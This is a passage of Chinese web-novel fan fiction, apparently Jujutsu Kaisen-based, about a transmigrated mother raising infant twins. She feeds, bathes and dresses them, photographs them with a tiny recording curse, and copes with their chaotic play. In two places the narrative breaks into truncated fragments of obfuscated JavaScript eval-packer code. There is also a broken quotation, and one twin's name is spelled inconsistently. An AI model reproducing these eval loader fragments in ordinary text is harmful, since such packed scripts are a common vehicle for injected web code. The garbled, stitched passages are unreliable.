淡淡的奶香飘满整个树屋。 宿傩的鼻子动了动,立刻抬起头,眼睛亮晶晶的,盯着那个小木碗。 宿昶也抬起头,看着那个方向,眼睛微微亮起来。 宿观音端着碗走过去,先抱起宿傩。 粉色小团子早就等不及了,小嘴张着,“啊啊”叫着。 她舀了一小勺奶,吹了吹,送到他嘴边。 他含住勺子,愣住了。 那个表情,像是在说:这是什么?怎么和平时吃的不一样? 但他很快就接受了这个设定,小嘴一动一动,把奶咽下去。 咽下去之后,他眼睛更亮了。 “啊!”他叫了一声,像是在说:好吃!还要! 宿观音又舀了一勺。 他又一口吞掉。 一勺接一勺,吃得又快又急,奶糊得满嘴都是。 喂完宿傩,抱起宿昶。 黑色小团子安静地躺在她腿上,看着她。 她舀了一勺,吹凉,送到他嘴边。 他含住勺子,慢慢抿了抿。 眼睛微微眯起来。 又抿了抿。 那双黑漆漆的眼睛,看着她,亮晶晶的。 像是在说:妈,这个好。 宿观音看着他那双眼睛,心都快化了。 “喜欢就好。”她轻声说。 喂完两个崽,她把碗放下,坐回摇椅上。 两个小团子并排躺着,眯着眼睛,小嘴还在咂吧,像是在回味那个奶味。 宿观音看着他们,又看了看手腕上的镯子。 她想起那张纸条上的话。 “<> 她笑了笑。 她轻声说,“我也会改变那样的未来。” 她原本就很讨厌原著中的那种结局,糟糕透顶极了。 她成为咒术师也是为了给这两个小崽子,去搏一把,也是为了自己。 23. 第二十二章:吃奶嘴和尝试婴儿服 宿观音站在树屋里,看着手腕上的镯子,忽然冒出一个念头。 ——如果把两个崽带进去,会怎么样? 这个念头一冒出来就收不住了。 她蹲下来,看着地上两个正在啃脆骨的小团子。 “崽,”她说,“妈带你们去个好玩的地方。” 两个小团子抬起头,看着她。 宿傩眨眨眼睛,嘴里还含着脆骨,口水顺着下巴往下淌。 宿昳也眨眨眼睛,手里拿着啃了一半的棒棒,安静地看着她。 宿观音伸出手,一边一个,把两个小团子抱起来。 然后她闭上眼睛,想着“进去”。 眼前一花。 再睁开眼的时候,她已经站在那个一百平米的空间里了。 木地板,柔和的光,四个箱子摞在角落里。 两个小团子在她怀里,愣住了一秒。 然后—— 宿傩的眼睛瞪大了。 瞪得像两颗小葡萄,圆溜溜的,亮晶晶的。 他嘴里的脆骨“啪嗒”掉在地上,但他完全顾不上,就那么瞪着眼睛,四处看。 看天花板,看墙壁,看木地板,看那四个大箱子。 看了一遍,又看一遍。 然后他“啊啊”叫起来,声音又急又亮,像是在说:这是哪儿!这是哪儿!怎么这么亮!怎么这么平!怎么这么大! 宿昳的反应不一样。 他没有叫,也没有瞪眼睛。 他只是安静地看。 眼睛慢慢移动,把整个空间扫了一遍。 天花板——会发光,不是火那种光,是柔和的白光。 墙壁——灰白色,软软的,像是能摸。 地板——平的,光滑的,和树屋那种粗糙的木板不一样。 箱子——四个,摞在一起,木头做的。 他看了一遍,然后低下头,看着自己的手。 又抬起头,看着老妈。 那双黑漆漆的眼睛里,像是在问:这是哪里? 宿观音看着他们的反应,忍不住笑了。 “这是妈的手镯里面,”她说,“以后万一有危险,咱们就躲进来。” 宿傩听不懂,但还在“啊啊”叫,小手动来动去,指着这儿指着那儿,像是在说:这个!这个!那个!那个! 宿昳听懂了“手镯”两个字——他记得老妈手腕上那个灰灰的东西。 他又看了看周围,然后轻轻“啊”了一声。 像是在说:原来里面这么大。 宿观音把他们放下来,放在木地板上。 两个小团子第一次接触这么光滑的地面,愣了一下。 宿傩趴着,小手摸了摸地板。 滑滑的,凉凉的,和树屋的兽皮完全不一样。 他拍了拍。 “啪。啪。” 有声音。 他又拍了拍。 “啪。啪。” 他眼睛亮了,开始用力拍。 “啪啪啪啪啪——” 像在打鼓。 宿昳没有拍。 他趴着,慢慢往前蹭。 蹭了一下,滑了一下——太滑了,他的小手没撑住,脸朝下栽在地板上。 “啪叽。” 他抬起头,愣了一下。 然后又蹭了一下,又滑了一下。 “啪叽。” 又栽了。 他皱起小眉头,看着这个滑滑的地板。 然后他开始换方式。 不蹭了,用滚的。 他侧过身,一滚。 咕噜噜—— 滚出去半米远。 他停下来,眼睛微微睁大。 然后又滚了一下。 咕噜噜—— 又滚出去半米。 他抬起头,看着老妈,眼睛亮晶晶的。 像是在说:这个可以! 宿傩在旁边看到了。 他停下来,看着哥哥滚。 看了一会儿,他也开始滚。 咕噜噜—— 滚出去,撞到箱子,停下来。 他又滚回来。 咕噜噜—— 撞到哥哥,停下来。 两个小团子,一个往东滚,一个往西滚,咕噜噜咕噜噜,在木地板上滚来滚去。 滚累了,停下来,喘着气,看着对方。 然后同时咧开嘴笑了。 宿观音站在旁边,看着他们滚。 看着他们笑。 看着他们在那个光滑的地板上,像两只小小的团子,滚来滚去。 她忽然觉得,这个空间,值了。 滚了一会儿,两个小团子都累了。 并排躺在地板上,眯着眼睛,喘着气。 宿观音蹲下来,看着他们。 “好玩吗?” 宿傩“啊”了一声,声音响亮,像是在说:好玩! 宿昳轻轻“啊”了一声,像是在说:嗯。 宿观音笑了。 她站起来,走到那几个箱子前面。 “崽,妈给你们看点好东西。” 她打开第一个箱子,拿出那些柔软的布料。 两个小团子抬起头,看着那些布。 宿傩眨眨眼睛,不知道那是什么。 宿昳看着那些布,眼睛微微亮了一点——他认出来了,是软软的东西,和襁褓有点像。 宿观音又打开第二个箱子,拿出那些小衣服。 小小的袄,小小的裤,小小的帽子,小小的袜子。 她拿起一件小袄,在自己身上比了比,然后对着两个崽晃了晃。 “好看吗?” 宿傩“啊”了一声,像是在说:什么玩意? 宿昳看着那件小袄,眨眨眼睛。 宿观音把衣服放回去,又拿出第三个箱子的东西。 婴儿米粉,肉松,磨牙饼干,还有那罐奶粉。 还有—— 她翻了翻,找到了。 奶嘴。 真正的奶嘴。 软软的,滑滑的,硅胶做的,和她用脆骨做的完全不一样。 她拿起一个,走回两个崽旁边,蹲下来。 “崽,给你们个好东西。” 她把奶嘴先递给宿傩。 粉色小团子看着那个软软的小东西,愣了一下。 他伸出手,接过来。 拿在手里看了看,捏了捏。 软的。 他又捏了捏。 更软了。 他张开嘴,把它塞进去。 然后他愣住了。 眼睛瞪得圆圆的。 那个表情,像是在说:这是什么感觉?怎么这么软?怎么这么奇怪? 他含着奶嘴,一动不动,像是在感受。 感受了三秒。 然后他开始嘬。 嘬嘬嘬,嘬嘬嘬。 奶嘴在他嘴里一动一动,他嘬得专心致志,口水顺着嘴角往下流。 但这次没有流到地上,被奶嘴的挡板挡住了。 宿观音看着他那个样子,忍不住笑出声。 “喜欢吗?” 宿傩没空理她,继续嘬。 嘬得眼睛都眯起来了。 宿观音又拿起一个奶嘴,递给宿昳。 黑色小团子接过来,没有像弟弟那样直接塞嘴里。 他先拿在手里看。 翻来覆去地看。 捏一捏,软的。 拉一拉,有弹性。 对着光看一看,半透明的。 他研究了很久。 然后他张开嘴,把它塞进去。 含住。 抿了抿。 眼睛微微眯起来。 然后又拿出来。 又看了看。 又塞进去。 又抿了抿。 又拿出来。 宿观音在旁边看着,一头雾水。 “你干嘛呢?”她问,“好吃吗?” 宿昳看着她,眨眨眼睛。 然后把奶嘴又塞进去,嘬了两下,拿出来,对着光看了看。 像是在研究这个东西为什么能嘬出感觉来。 宿观音看着他那副认真的小模样,不知道该哭还是该笑。 “行吧,”她说,“你慢慢研究。” 她把两个崽留在那里研究奶嘴,自己走回箱子那边,把那些小衣服拿出来。 今天得给他们洗个澡,换上新衣服。 之前一直是擦澡——用毛巾沾热水,一点一点擦。 但现在有空间了,可以好好洗一洗。 她心里默想:来点热水。 眼前一花,面前出现一个大木盆。 盆里装着温水,热气袅袅升起。 她又默想:毛巾。 毛巾出现。 她又默想:澡巾,小木勺,还有那个从镇上换来的、一直没舍得用的、据说对婴儿皮肤好的草药皂。 东西一件一件出现。 她试了几次,玩上瘾了。 默想一下,东西出现。 再默想一下,东西消失。 出现,消失,出现,消失。 像变魔术一样。 两个小团子本来在研究奶嘴,看到老妈这边东西飞来飞去,都停下来,盯着看。 宿傩含着奶嘴,眼睛瞪得圆圆的,看着那些东西出现又消失。 宿昳也含着奶嘴,眼睛微微亮着,像是在观察这个规律。 宿观音玩了一会儿,才想起正事。 她走过去,把两个崽抱起来。 “来,洗澡。” 两个小团子被放进木盆里。 温水漫过他们的小身子,暖暖的,软软的。 宿傩愣了一下。 然后他开始拍水。 “啪!啪!啪!” 水花四溅,溅了自己一脸,也溅了老妈一身。 他眨眨眼睛,把脸上的水甩掉,然后继续拍。 “啪!啪!啪!” 拍得开心极了。 宿昳没有拍。 他坐在水里,感受着那种温温的、软软的感觉。 然后他低下头,看着自己的小手在水里。 手变样子了——被水折射得有点变形。 他动了动手指,水里的影子也跟着动。 他看了一会儿,然后抬起头,看着老妈。 像是在说:这个也好玩。 宿观音蹲在木盆旁边,给他们洗澡。 先洗宿傩。 粉色小团子还在拍水,根本停不下来。她抓住他的小手,用澡巾慢慢擦。 擦胳膊,擦背,擦小肚子。 宿傩被擦得痒痒的,咯咯笑起来——不是那种“啊啊”叫,是真的笑声,轻轻的,像小鸟叫。 宿观音愣住了。 这是她第一次听到他笑。 不是咧着嘴傻笑那种笑,是发出声音的笑。 她看着他,眼眶忽然有点热。 “崽,”她轻声说,“你笑了。” 宿傩听不懂,继续咯咯笑。 笑完又开始拍水。 宿观音吸了吸鼻子,继续给他洗。 洗头的时候,他不太乐意,小眉头皱着,想躲。 但被老妈按住,躲不掉,只能委屈巴巴地让她洗。 洗完,用毛巾裹起来,放在一边。 然后是宿昳。 黑色小团子安静地坐在水里,看着她。 她轻轻给他擦。 擦胳膊,他不动。 擦背,他不动。 擦小肚子,他微微眯起眼睛,像是在享受。 洗头的时候,他也没躲,就那么让她洗。 只是眼睛一直看着她,像是在说:我知道你在帮我。 洗完了,她用毛巾把他裹起来。 两个小团子,并排裹着毛巾,坐在木盆旁边。 像两个小小的粽子。 宿观音看着他们,忍不住笑了。 “好了,现在穿新衣服。” 她拿起那件小袄,先给宿傩穿。 粉色小团子被套上衣服,立刻皱起小眉头。 这是什么? 怎么这么紧? 怎么动不了了? 他挣了挣,挣不动。 又挣了挣,还是挣不动。 他开始“啊啊”叫,像是在说:难受!不要! 宿观音按住他,“别动,穿好就好了。” 他不听,继续挣。 挣得小脸通红,满头大汗。 但那件小袄是专门给婴儿设计的,裹得刚刚好,他根本挣不开。 挣了一会儿,他累了,停下来,喘着气。 小嘴瘪着,一脸委屈。 像是在说:为什么要穿这个? 宿观音看着他那副样子,又想笑又心疼。 “乖,”她摸摸他的头,“穿着暖和。” 宿傩不听,继续瘪着嘴。 但也没再挣了。 轮到宿昳。 黑色小团子安静地让老妈给他穿。 穿袖子,他不动。 系带子,他不动。 穿好了,他低头看了看自己身上的衣服。 然后又抬头看了看老妈。 像是在说:穿好了,然后呢? 宿观音被他那副淡定的样子逗笑了。 “你倒是不挑。” 宿昳眨眨眼睛,没说话——当然不会说话。 然后他张开嘴,把一直含着的奶嘴又拿出来,继续研究。 宿观音看着他和奶嘴斗智斗勇的样子,彻底服了。 这崽子,以后怕是个科学家。 衣服穿好了,澡洗完了,奶嘴也研究得差不多了。 宿观音站起来,看着两个穿着新衣服的小团子。 粉色那个,穿着米白色的小袄,小脸鼓鼓的,还瘪着嘴,一脸不高兴。 黑色那个,穿着浅灰色的小袄,安静地坐着,手里拿着奶嘴,继续研究。 她看着他们,忽然想起一件事。 那个世界意识说,会不定期往空间里投放物资。 那会不会也投点别的? 比如—— 能记录东西的那种? 她心里默想:有没有能拍照的东西? 眼前一闪。 一个小小的东西出现在她面前。 圆圆的,小小的,像一只虫子。 但仔细看,不是虫子,是一个咒灵。 一个特别特别小的咒灵,长得像一只瓢虫,但背上不是斑点,是一只眼睛。 那只眼睛正对着她,眨巴眨巴。 宿观音愣住了。 这是什么玩意儿? 她伸手想摸,那个小咒灵飞起来,绕着她转了一圈,然后落在她肩膀上。 她试着用咒力探了一下。 然后她明白了。 这是一个能记录影像的咒灵。 不是那种攻击性的,是那种“观察型”的。 它没有攻击力,只会飞,会看,会把看到的东西“储存”起来。 她想了想,从怀里拿出一块咒力结晶,递给它。 小咒灵凑过去,碰了碰那块结晶。 结晶慢慢融化了,被它吸收进去。 然后它飞起来,对着她,背上那只眼睛眨巴眨巴。 像是在说:准备好了。 宿观音笑了。 “行,”她说,“那就给这两个小崽子拍几张照片。” 她走过去,把两个小团子并排放好。 宿傩还在瘪着嘴,一脸不高兴。 宿昳还在研究奶嘴,头都不抬。 “看这边。”她指着那个小咒灵。 两个小团子抬起头,看着那个飞在半空中的小东西。 宿傩眼睛瞪大了。 这是什么?会飞?小小的一只?背上还有眼睛? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等这两个小崽子长大了,能看懂照片了,她可以拿出来给他们看。 “看,这是你们三十三天的时候。” “这是你们第一次洗澡。” “这是你们第一次穿新衣服。” “这是你们第一次进这个空间。” “这是你们——” 她顿了顿。 “——第一次让妈妈觉得,穿越到这个鬼地方,真他妈值了。” 小咒灵飞到她面前,背上的眼睛对着她。 她笑了笑。 “也给我拍一张吧。” 她坐直,把两个小团子抱起来,一边一个,搂在怀里。 两个小崽子被她搂着,都抬头看她。 宿傩还在傻笑。 宿昳安静地看着她。 她看着镜头——看着那只眼睛。 笑了。 “咔嚓。” 画面定格。 那一刻。 那个一百平米的空间里。 柔和的灯光下。 木地板上。 一个粉色头发的女人,搂着两个小小的人儿。 一个粉色小脑袋,一个黑色小脑袋。 都在笑。 都在看着她。 都在那一刻,被永远记录下来。 很久很久以后。 当两个小崽子长大,当这个世界发生很多很多事。 当他们偶尔回头看的时候。 会看到这张照片。 会看到这一刻。 会看到—— 他们的妈妈,在他们三十三天大的时候,用这样温柔的眼神看着他们。 会知道。 从一开始。 她就是爱他们的。 空间里很安静。 只有两个小团子偶尔的“啊啊”声。 只有小咒灵飞来飞去的嗡嗡声。 只有宿观音轻轻的笑声。 她看着那张被记录下来的画面——小咒灵飞过来,把画面投射在空中,像一个小小的屏幕。 两个小团子看着那个屏幕里的自己,都愣住了。 宿傩指着屏幕里的粉色小人,“啊啊”叫起来,像是在说:这个!这个是谁! 宿昳看着屏幕里的自己,眨眨眼睛。 像是在确认:那是我吗? 宿观音看着他们的反应,笑得眼泪都快出来了。 “是你们,”她说,“是你们自己。” 两个小团子听不懂,但继续盯着那个屏幕。 看着里面的自己动来动去。 看着里面的妈妈抱着他们。 看着里面的那个小小的世界。 看了很久很久。 然后宿傩忽然伸出手,想去摸那个屏幕里的自己。 手穿过画面,什么都没摸到。 他愣了一下,又摸了摸。 还是没摸到。 他皱起小眉头,看着老妈,像是在问:怎么回事? 宿观音笑得直不起腰。 “摸不到的,”她说,“那是影子。” 宿傩不懂什么叫“影子”,但他不摸了。 他就那么看着。 看着屏幕里的粉色小人,也看着他。 看着屏幕里的黑色小人,也安静地躺着。 看着屏幕里的妈妈,笑着搂着他们。 他忽然咧开嘴,笑了。 对着屏幕里的自己笑。 对着屏幕里的哥哥笑。 对着屏幕里的妈妈笑。 宿昳也在看。 他没有笑,但他的眼睛弯弯的。 那双黑漆漆的眼睛里,映着屏幕里的光。 映着那个小小的画面。 映着那一刻—— 他们三十三天大的时候。 第一次被记录下来的时候。 第一次知道,原来自己长这个样子的时候。 小咒灵飞累了,落在宿观音肩膀上,背上的眼睛慢慢闭上,像是睡着了。 屏幕消失了。 两个小团子同时“啊”了一声,像是在说:怎么没了? 宿观音摸摸他们的头。 “下次再拍,”她说,“以后还有很多很多次。” “拍你们长大。” “拍你们学会走路。” “拍你们学会说话。” “拍你们——” 她顿了顿。 “——变成很棒很棒的人。” 两个小团子听不懂,但都看着她。 宿傩咧着嘴笑。 宿昳安静地看着她。 她看着他们。 看着这个空间。 看着手腕上的镯子。 忽然觉得,那个世界意识说得对。 改变未来。 不是因为她有多伟大。 是因为这两个小崽子,值得一个更好的未来。 她低下头,亲了亲两个小脑袋。 “走了,”她站起来,“出去吃饭。” 闭上眼睛,想着“出去”。 眼前一花。 再睁开眼的时候,他们已经回到树屋里了。 阳光还是那么暖。 咔嚓咔嚓声又响起来——两个小团子继续啃他们的奶嘴棒,好像什么都没发生过。 但宿观音知道。 刚才那一切,都是真的。 那个空间,那些东西,那些照片。 都是真的。 她低头看着手腕上的镯子。 笑了。 “以后,”她轻声说,“请多关照。” 镯子没回答。 但微微亮了一下。 像是回应。 窗外,夕阳西斜。 树屋里,两个小团子继续啃棒棒。 他们的妈妈,坐在摇椅上,一晃一晃。 嘴角带着笑。 眼里有光。 24. 第二十三章:搞破坏二人组 宿观音最近发现一个严重的问题。 她家这两个崽,好像不太对劲。 不是那种“不对劲”的不对劲,是那种——明明才一个多月,怎么感觉像养了两个三四个月的小祖宗? 她决定认真观察一下。 第一天早上。 她坐在床边,拿出那本从空间里翻出来的《婴儿发育指南》,一边看一边对照两个正在地上爬的崽。 书上说:一个多月的宝宝,每天睡16-20小时。 她看看两个崽——昨天睡了多久?早上醒了一个时辰,玩累了睡半个时辰,醒来又玩一个时辰,再睡半个时辰……加起来大概……她算了一下,也就睡十二三个小时。 剩下的时候都在干嘛? 都在搞破坏。 书上说:醒着的时间短,会追视人脸、听声音。 她看看宿傩——醒着的时候确实在追视,但追的不是人脸,是她手里正在削的木块。那双亮晶晶的眼睛跟着她的手转,转得她心里发毛,总觉得这小崽子在盘算什么。 宿昳倒是不追视——他观察。那双黑漆漆的眼睛慢慢移动,把整个树屋扫一遍,扫到她脸上的时候,会停一下,像是在确认她在不在,然后继续扫。 这叫“追视人脸”? 这叫巡视领地。 书上说:会哼哼、蹬腿,吃奶频繁。 她看看宿傩——哼哼?不,他“啊啊”,又急又亮,像在吵架。蹬腿?他蹬,但不是那种无意识的蹬,是有目标的蹬——蹬襁褓,蹬床板,蹬一切能蹬的东西。吃奶频繁?倒是挺频繁的,但吃完不睡,继续“啊啊”。 宿昳——不哼哼,偶尔“啊”一声,很轻,像在提醒。蹬腿?他蹬得少,更多时候是研究——研究自己的手,研究奶嘴,研究一切能摸到的东西。 书上说:开始会无意识笑。 她看看宿傩——笑?他天天笑,但不是无意识,是有意识。看到好吃的笑,看到好玩的笑,看到老妈回来笑,看到哥哥也笑。那笑容灿烂得像太阳,每次笑得她心都化了,然后下一秒就开始捣乱。 宿昳——不常笑,但眼睛会弯。那种弯,比笑还让人招架不住。 书上说:还不会翻身。 她看看两个崽——翻身?他们早就不是翻身的问题了,是会爬——不对,是会蹭。会滚。会用各种方式从一个地方挪到另一个地方。会从婴儿床里越狱。会爬到阳台上看风景。 这叫还不会翻身? 这叫已经准备起飞了。 书上说:需要多抱多安抚。 她看看两个崽——抱是要抱的,但不让抱太久,抱一会儿就要下去玩。安抚?安抚什么?他们每天精力旺盛得像两只小野兽,需要安抚的是她这个当妈的。 宿观音合上书,沉默了很久。 然后她低头看着地上两个正在研究柴火堆的崽。 “你们俩,”她说,“是不是偷偷吃激素了?” 宿傩抬起头,看着她,咧开嘴笑了。 那笑容,灿烂得理直气壮。 宿昳也抬起头,看着她,眨眨眼睛。 那双黑漆漆的眼睛里,像是在说:激素是什么? 宿观音深吸一口气。 行。 不纠结了。 接受现实。 她家这两个崽,就是比普通婴儿聪明。 不是那种“天才宝宝”的聪明,是那种“再不管就要把家拆了”的聪明。 她站起来,走到储物区,拿出昨天刚做好的东西。 木块。 一小堆木块,方方的,圆圆的,大大小小,有十几个。 是她用木头削的,专门给两个崽玩的——书上说,这个月龄的宝宝可以开始接触一些安全的玩具,锻炼抓握和手眼协调。 她蹲下来,把木块放在地上。 “崽,看,妈给你们做的玩具。” 两个小团子爬过来,看着那堆木块。 宿傩眼睛亮了。 他伸手,抓起一块方的,拿在手里看了看。 然后他张开嘴,想塞进去。 “不许啃!”宿观音眼疾手快,把木块抢过来,“这是玩的,不是吃的。” 宿傩愣了一下,看着她。 那表情,像是在说:不是吃的你做这么小干嘛? 宿观音把木块放回去,又拿起一块圆的,示范给他看。 “你看,这样滚——咕噜噜——好玩吗?” 木块滚出去,撞到床腿,停下来。 宿傩看着那个木块,眨眨眼睛。 然后他也抓起一块,学着老妈的样子,往前一推。 木块滚出去,滚了两下,歪了,停下来。 他又抓起一块,又推。 这次滚得远一点。 他眼睛亮了。 开始一个接一个地推。 推推推,推推推。 木块滚得到处都是。 宿昳没有推。 他拿起一块方的,翻来覆去地看。 然后又拿起一块圆的,对比着看。 看了一会儿,他把方的放在地上,把圆的放在方的上面。 圆的不稳,滚下来。 他又放上去,又滚下来。 他皱起小眉头,开始研究。 宿观音在旁边看着,心里有点得意。 看,这不是挺乖的嘛,玩得多认真—— 下一秒。 宿傩抓起一块木块,用力一扔。 木块飞出去,“啪”地砸在墙上,弹回来,落在兽皮上。 他“咯咯”笑起来,又抓起一块,扔。 “啪!” 又一块。 “啪!啪!啪!” 木块满天飞。 宿观音:“…………” 她站起来,想阻止他。 刚站起来,脚下一滑——踩到一块滚过来的木块,差点摔倒。 她稳住身体,深吸一口气。 “宿傩!” 粉色小团子停下来,看着她。 手里还举着一块木块,正准备扔。 那表情,无辜得像只小兔子。 宿观音指着那些散落一地的木块,“这是玩的,不是扔的!” 宿傩眨眨眼睛,看看手里的木块,又看看地上的木块,又看看她。 然后他把手里的木块轻轻放在地上。 特别轻,特别乖。 然后咧开嘴笑了。 像是在说:我没扔,我放了。 宿观音看着他那个笑容,一口气堵在胸口,上不去下不来。 她深吸一口气,又深吸一口气。 然后蹲下来,开始捡木块。 刚捡了几块,旁边传来“咔嚓”一声。 她转过头。 宿昳正拿着两块木块,对敲。 “咔嚓。咔嚓。” 他敲一下,听一下,又敲一下。 像是在研究声音。 宿观音看着他,心里稍微安慰了一点。 好歹有一个在正常玩—— “咔嚓。” 又一声。 她低头一看,她刚做好的那块最圆的木块,裂了。 从中间裂开一条缝。 宿昳拿着那两半裂开的木块,抬起头,看着她。 那双黑漆漆的眼睛里,像是在说:它自己裂的。 宿观音:“…………” 她看着那两半木块,沉默了三秒。 然后她站起来。 走到储物区。 拿出另一个东西。 石头。 一堆小石头,是她从山涧里捡来的,圆圆的,滑滑的,比木头结实多了。 她蹲下来,把石头放在地上。 “木头不行是吧?”她说,“那玩石头。” “这次不许扔,不许敲,不许——” 她还没说完,宿傩已经抓起一块石头,扔出去了。 “咚。” 石头砸在地上,弹了两下,停下来。 他“咯咯”笑起来。 宿观音:“…………” 她走过去,把石头捡回来,放在他面前。 “不许扔。” 宿傩看着她,眨眨眼睛。 然后他又抓起那块石头,这次没扔,放在嘴边舔了舔。 舔完,皱起小眉头。 像是在说:不好吃。 宿观音看着他那个表情,又想气又想笑。 “当然不好吃,”她说,“石头怎么能吃?” 宿傩不听,又舔了舔。 还是不好吃。 他放下石头,开始研究别的。 宿昳那边,已经拿起两块石头,对敲了。 “咚。咚。” 声音比木头沉闷一点。 他敲了几下,又拿起另一块,换着敲。 像是在比较声音的不同。 宿观音看着他,心里默默记下。 这崽子,以后怕不是要搞音乐。 玩了一会儿,两个小团子都累了。 并排躺在地上,眯着眼睛。 石头散落一地。 有几块上面还沾着宿傩的口水。 宿观音坐在旁边,看着他们。 看着这个一片狼藉的树屋。 看着那堆被扔得到处都是的石头。 看着那两半裂开的木块。 她忽然觉得很累。 不是身体上的累,是那种——心累。 每天早上醒来,就要开始和这两个小崽子斗智斗勇。 吃饭要斗——抢勺子,抢碗,抢一切能抢的东西。 玩要斗——不许扔,不许敲,不许啃,不许把东西弄坏。 睡觉要斗——不肯睡,睡醒了就闹,闹够了又开始下一轮。 洗澡要斗——拍水,乱动,把水溅得到处都是。 换衣服要斗——挣来挣去,像在和衣服打架。 她感觉自己不是在养孩子,是在打仗。 每天都是新的战役。 每天都有新的战况。 每天都有新的——被她家这两个小崽子打败的战绩。 她靠在墙上,看着天花板。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拿起那两截断掉的奶嘴棒。 看了看。 又看了看宿傩那张无辜的小脸。 “你咬断的?” 宿傩眨眨眼睛。 然后咧开嘴笑了。 那个笑容,灿烂得像是立了功。 宿观音看着那个笑容。 忽然觉得很无力。 不是那种想发火的无力。 是那种——算了,就这样吧,反正也打不过他的——无力。 她把断掉的奶嘴棒收起来,又拿出两根新的。 递给宿傩一根。 “这次不许咬断。” 宿傩接过来,塞进嘴里。 咔嚓咔嚓。 啃得专心致志。 宿观音又递给宿昶一根。 黑色小团子接过来,没有立刻啃。 他先看了看弟弟那根,又看了看自己这根。 然后他开始啃。 但啃得很慢,很轻。 像是在控制力度。 宿观音看着他那副认真的小模样,忽然有点感动。 这崽子,是在吸取弟弟的教训吗? 是在控制自己不把奶嘴咬断吗? 真乖—— 咔嚓。 她低头一看。 宿昳手里的奶嘴棒,也断了。 他拿着那两截,抬起头,看着她。 那双黑漆漆的眼睛里,像是在说:我明明很轻了,它还是断了。 宿观音:“…………” 她看看左边这个断了奶嘴的粉色团子。 又看看右边这个也断了奶嘴的黑色团子。 再看看手里这两根新拿出来的、还没来得及递出去的备用奶嘴。 沉默了很久。 然后她坐下来。 把两根备用奶嘴放在地上。 两个小团子立刻爬过来,各拿一根,塞进嘴里。 咔嚓咔嚓。 咔嚓咔嚓。 啃得比刚才更欢了。 宿观音看着他们。 看着那些断掉的奶嘴。 看着自己这个乱糟糟的树屋。 看着这两个精力旺盛、永远在搞破坏的小崽子。 忽然笑了。 不是苦笑。 是真的笑。 笑着笑着,眼泪都出来了。 “你们两个,”她说,“妈迟早被你们气死。” 两个小团子听不懂,继续啃。 咔嚓咔嚓。 咔嚓咔嚓。 树屋里,一片祥和——不对,一片咔嚓声。 她靠在摇椅上,晃着。 听着那些咔嚓声。 忽然觉得,这样也挺好。 虽然每天都要斗智斗勇。 虽然每天都在崩溃边缘反复横跳。 虽然有时候真的气得想上吊——可惜上吊也没力气。